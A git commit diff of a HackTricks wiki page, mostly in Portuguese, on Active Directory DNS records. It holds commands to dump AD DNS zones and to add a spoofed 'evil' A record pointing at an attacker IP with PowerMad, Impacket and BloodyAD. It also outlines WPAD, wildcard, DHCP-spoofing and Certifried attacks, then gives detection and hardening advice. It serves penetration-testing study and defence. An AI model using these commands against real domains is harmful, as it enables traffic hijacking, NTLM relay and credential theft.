mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-dns-r
This commit is contained in:
parent
7b5c6d6534
commit
127e147c48
@ -1,4 +1,4 @@
|
||||
# Registros DNS do AD
|
||||
# AD DNS Records
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump
|
||||
cd adidnsdump
|
||||
pip install .
|
||||
|
||||
# Enumerate the default zone and resolve the "hidden" records
|
||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
|
||||
|
||||
# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…)
|
||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones
|
||||
|
||||
# Dump a specific zone (e.g. ForestDnsZones)
|
||||
adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r
|
||||
|
||||
cat records.csv
|
||||
```
|
||||
> adidnsdump v1.4.0 (Abril de 2025) adiciona saída JSON/Greppable (`--json`), resolução DNS multi-threaded e suporte para TLS 1.2/1.3 ao se vincular ao LDAPS
|
||||
|
||||
Para mais informações, leia [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
||||
|
||||
---
|
||||
|
||||
## Criando / Modificando registros (spoofing ADIDNS)
|
||||
|
||||
Porque o grupo **Authenticated Users** tem **Create Child** no DACL da zona por padrão, qualquer conta de domínio (ou conta de computador) pode registrar registros adicionais. Isso pode ser usado para sequestro de tráfego, coerção de relay NTLM ou até mesmo comprometimento total do domínio.
|
||||
|
||||
### PowerMad / Invoke-DNSUpdate (PowerShell)
|
||||
```powershell
|
||||
Import-Module .\Powermad.ps1
|
||||
|
||||
# Add A record evil.domain.local → attacker IP
|
||||
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose
|
||||
|
||||
# Delete it when done
|
||||
Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose
|
||||
```
|
||||
### Impacket – dnsupdate.py (Python)
|
||||
```bash
|
||||
# add/replace an A record via secure dynamic-update
|
||||
python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37
|
||||
```
|
||||
*(dnsupdate.py é fornecido com Impacket ≥0.12.0)*
|
||||
|
||||
### BloodyAD
|
||||
```bash
|
||||
bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37
|
||||
```
|
||||
---
|
||||
|
||||
## Primitivas de ataque comuns
|
||||
|
||||
1. **Registro curinga** – `*.<zone>` transforma o servidor DNS do AD em um respondedor em toda a empresa, semelhante ao spoofing LLMNR/NBNS. Pode ser abusado para capturar hashes NTLM ou para retransmiti-los para LDAP/SMB. (Requer que a pesquisa WINS esteja desativada.)
|
||||
2. **Sequestro WPAD** – adicione `wpad` (ou um registro **NS** apontando para um host atacante para contornar a Lista de Bloqueio de Consulta Global) e faça proxy transparente de solicitações HTTP de saída para coletar credenciais. A Microsoft corrigiu as contornações de curinga/DNAME (CVE-2018-8320), mas **registros NS ainda funcionam**.
|
||||
3. **Tomada de entrada obsoleta** – reivindique o endereço IP que anteriormente pertencia a uma estação de trabalho e a entrada DNS associada ainda será resolvida, permitindo delegação restrita baseada em recursos ou ataques de Credenciais-Sombra sem tocar no DNS.
|
||||
4. **Spoofing DHCP → DNS** – em uma implantação padrão do Windows DHCP+DNS, um atacante não autenticado na mesma sub-rede pode sobrescrever qualquer registro A existente (incluindo Controladores de Domínio) enviando solicitações DHCP forjadas que acionam atualizações dinâmicas de DNS (Akamai “DDSpoof”, 2023). Isso dá acesso de máquina no meio sobre Kerberos/LDAP e pode levar à tomada total do domínio.
|
||||
5. **Certifried (CVE-2022-26923)** – altere o `dNSHostName` de uma conta de máquina que você controla, registre um registro A correspondente e, em seguida, solicite um certificado para esse nome para se passar pelo DC. Ferramentas como **Certipy** ou **BloodyAD** automatizam totalmente o fluxo.
|
||||
|
||||
---
|
||||
|
||||
## Detecção e endurecimento
|
||||
|
||||
* Negar a **Usuários Autenticados** o direito de *Criar todos os objetos filhos* em zonas sensíveis e delegar atualizações dinâmicas a uma conta dedicada usada pelo DHCP.
|
||||
* Se atualizações dinâmicas forem necessárias, defina a zona como **Apenas Segura** e ative a **Proteção de Nome** no DHCP para que apenas o objeto de computador proprietário possa sobrescrever seu próprio registro.
|
||||
* Monitore os IDs de evento do servidor DNS 257/252 (atualização dinâmica), 770 (transferência de zona) e gravações LDAP em `CN=MicrosoftDNS,DC=DomainDnsZones`.
|
||||
* Bloqueie nomes perigosos (`wpad`, `isatap`, `*`) com um registro intencionalmente benigno ou via a Lista de Bloqueio de Consulta Global.
|
||||
* Mantenha os servidores DNS atualizados – por exemplo, bugs RCE CVE-2024-26224 e CVE-2024-26231 alcançaram **CVSS 9.8** e são exploráveis remotamente contra Controladores de Domínio.
|
||||
|
||||
## Referências
|
||||
|
||||
* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, ainda a referência de fato para ataques de curinga/WPAD)
|
||||
* Akamai – “Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates” (Dez 2023)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user